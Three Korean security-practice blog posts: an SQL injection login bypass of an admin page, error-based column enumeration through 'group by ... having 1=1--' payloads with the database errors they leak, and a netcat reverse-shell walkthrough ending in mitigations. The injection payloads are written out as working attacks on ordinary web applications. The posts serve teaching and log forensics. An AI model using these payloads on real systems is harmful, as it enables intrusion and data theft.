[해킹보안] 창과 방패 끝없는 전쟁

[ 경 고 문 ]


해당 게시물은 해킹 기법에 관한 유해한 정보를 포함하고 있습니다.

기술을 실제 서버나 남의 홈페이지에 공격하는 것은 명백한 범법행위이며,

사이버수사대의 추적을 받을 수도 있다는 것을 알려 드립니다. 해당 게시물은

학습차원에서 공유하는 것이므로, 사고에 대한 모든 책임은 작성자에게는 없으며

해킹 기술을 행한 블랙해커에게 있음을 알려 드립니다.


해당 경고문을 열람했다는 것은 이에 동의한 것으로 간주 드립니다.





ㅁ 관리자 페이지 공격



*전제 조건

- 웹사이트 관리자 페이지가 노출 되고, SQL Injection 취약점이 있다는 전제하에 실습



ㅁ관리자 페이지 찾기

 

 

1. 모의해킹 할 사이트에서 찾는 법

 

http://victim.com/admin/


- 보통 상단처럼 사이트 경로에 admin, admin1234, manager, adm, administrator(s), system 등으로 검색해서 찾을 수 있다.


2. 구글 검색을 이용해서 찾는 법

 

 

 

 

 


 

ㅁ 관리자 페이지를 찾았다면 로그인 폼을 발견할 수 있을 것이다.

로그인 ID/PW 폼에 SQL Injection 쿼리를 입력하고 엔터를 치자.



ID: ' or a=a--

PW: 1234





ㅁ 아래와 같이 열 이름이 잘못되었다는 오류 메시지가 떴다.




Microsoft OLE DB Provider for SQL Server error '80040e14'

열 이름 'a'이(가) 잘못되었습니다.

/admin/admin_login.asp, line 11





ㅁ 그렇다면 숫자로 참값을 유도해서 Injection을 해 보자.

.


ID: ' or 1=1--

PW: 1234





그 결과, SQL Injection에 성공이 되었으며, 관리자 페이지는 블랙해커에 의해 따였다.(Login sucess)







ㅁ 해킹 추적


  - ' or a=a--를 이용해서 Injection 공격 실패 로그     







  - ' or 1=1--를 이용해서 Injection 공격 성공 로그







  - 블랙해커가 Injection 공격을  성공한 후 로그아웃한 후 로그


'보안 실습' 카테고리의 다른 글

Blind sql Injection 공격과 공격 흔적  (0) 2016.12.21
Reverse telnet 공격 실습  (0) 2016.01.14

[ 경 고 문 ]


해당 게시물은 해킹 기법에 관한 유해한 정보를 포함하고 있습니다.

기술을 실제 서버나 남의 홈페이지에 공격하는 것은 명백한 범법행위이며,

사이버수사대의 추적을 받을 수도 있다는 것을 알려 드립니다. 해당 게시물은

학습차원에서 공유하는 것이므로, 사고에 대한 모든 책임은 작성자에게는 없으며

해킹 기술을 행한 블랙해커에게 있음을 알려 드립니다.


해당 경고문을 열람했다는 것은 이에 동의한 것으로 간주 드립니다.




ㅁ Blind SQL Injection 실습


*실습환경

- Windows 2003 서버

- IIS 6.0





*전제 조건

- 검색 폼에 Injection이 있다는 전제하에 실습



attack: 검색 폼(창)에 인젝션 쿼리를 넣어가며 공격


목표: 싱글쿼터를 입력하여 SQL Injection 취약점이 있는지 확인하여,


취약점이 있을시, union, Order by, having 구문을 이용하여 DB 테이블, 컬럼 따기




* 검색폼에 싱글쿼터 입력해서 SQL Injection 취약점 유무 체크










* 아래와 비슷한 에러 메시지가 발생한다면 SQL Injection 취약점이 있다고 판단할 수 있음








* 이제 검색폼에 취약점이 있다는 것을 알았으니, DB 테이블명, 컬럼명 추출을 시도하자.










* 첫번째 having 구문으로 공격시 DB 테이블명과 컬럼명이 획득 됨.









attack




' having 1=1--


1번째 테이블명, 컬럼명 따기

Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47


설명:  having 구문으로 'board_qna(테이블명).info_idx(컬럼명)'을 얻었다. 계속 대입해 가며, 전체 컬럼명을 따자(획득하자)




2번째 컬럼명 따기

' group by board_qna.info_idx having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.mem_id' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




3번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_ref' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




4번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_level' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




5번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_step' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




6번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_name' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




7번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_title' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




8번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14'

'board_qna.info_content' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




9번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_pwd' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




10번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_file' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




11번째 컬럼명 따기


' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd, board_qna.info_file having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_hits' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




12번째 컬럼명 따기

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd, board_qna.info_file, board_qna.info_hits having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

'board_qna.info_day' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다. 

/board/board_list.asp, line 47 




13번째 컬럼명 입력시, 상이한 에러 메시지 발생!!!

' group by board_qna.info_idx, board_qna.mem_id, board_qna.info_ref, board_qna.info_level, board_qna.info_step, board_qna.info_name, board_qna.info_title, board_qna.info_content, board_qna.info_pwd, board_qna.info_file, board_qna.info_hits, board_qna.info_day having 1=1--


Microsoft OLE DB Provider for SQL Server error '80040e14' 

text, ntext 및 image 데이터 형식은 IS NULL 또는 LIKE 연산자를 함께 사용할 때를 제외하고 비교하거나 정렬할 수 없습니다.

/board/board_list.asp, line 47 





ㅁ DB 구조 확인

  - 아래 그림과 같이 DB 스키마를 확인해 보았더니, Injection 공격시 추출한 DB 테이블명, 컬럼명과 정확히 일치하는 것이 확인 되었다.

 

 

 

 

 



ㅁ 해킹 추적

  - 웹 서버 내에 있는 웹로그에서 SQL Injection 공격시, 웹로그가 남은 것을 확인할 수 있었다. (500에러 발생)

      . 웹로그 경로: C:\Windows\System32\LogFiles\W3SVC

 




'보안 실습' 카테고리의 다른 글

관리자 페이지 공격 및 웹로그 분석  (0) 2016.12.25
Reverse telnet 공격 실습  (0) 2016.01.14


[ 경 고 문 ]


해당 게시물은 해킹 기법에 관한 유해한 정보를 포함하고 있습니다.

기술을 실제 서버나 남의 홈페이지에 공격하는 것은 명백한 범법행위이며,

사이버수사대의 추적을 받을 수도 있다는 것을 알려 드립니다. 해당 게시물은

학습차원에서 공유하는 것이므로, 사고에 대한 모든 책임은 작성자에게는 없으며

해킹 기술을 행한 블랙해커에게 있음을 알려 드립니다.


해당 경고문을 열람했다는 것은 이에 동의한 것으로 간주 드립니다.








[전제] 웹쉘이 파일업로드 취약점이 있는 웹서버에 올라갔다는 가정하에 방화벽을 우회하는 Reverse telnet 실습을 들어가겠습니다.


* 공격 실습 시스템 : Windows 2000 서버

* 웹 어플리케이션  : 테스트 보드

* 웹 서버           : IIS 5.0







1.일단 hacker 서버에서 nc.exe를 통해 8080포트를 LISTENING해 놓고 대기한다.





2. victim 서버에서 hacker는 cmd.exe를 실행시키기 위해 nc 명령을 사용한다. 앞에 192.168.42.132는 hacker ip 이며,

192.168.42.133은 victim ip이다. 명령을 다 입력하였으면 soft하게 Enter를 쳐주자.





3. hacker 서버에서 8080포트를 LISTENING하고 대기하던 화면이 victim cmd창으로 순간 변하게 된다.

다시말해, victim shell을 딴거다.





[공격에 대한 대응 조치]


1. 초기 개발 시, 시큐어 코딩을 통한 개발


2. 웹 어플리케이션 '파일업로드 취약점' 화이트리스트 방식으로 구현 : 

    - 안전한 파일(txt, png, jpg)만 업로드 될 수 있도록 구현

    - 파일첨부기능을 구현하지 않고 사이트 구축(99.9% 안전)


3. 웹 서버에서 파일업로드 관련 취약점 조치

    - 실행권한(쓰기)을 없애는 방법 등...


4. 웹 방화벽 도입 운영 (관제서비스를 이용하면 저렴, 수천만건의 공격을 효율적으로 방어 가능)


5. 정기적인 보안컨설팅을 통한 취약점 발견 및 조치

 




'보안 실습' 카테고리의 다른 글

관리자 페이지 공격 및 웹로그 분석  (0) 2016.12.25
Blind sql Injection 공격과 공격 흔적  (0) 2016.12.21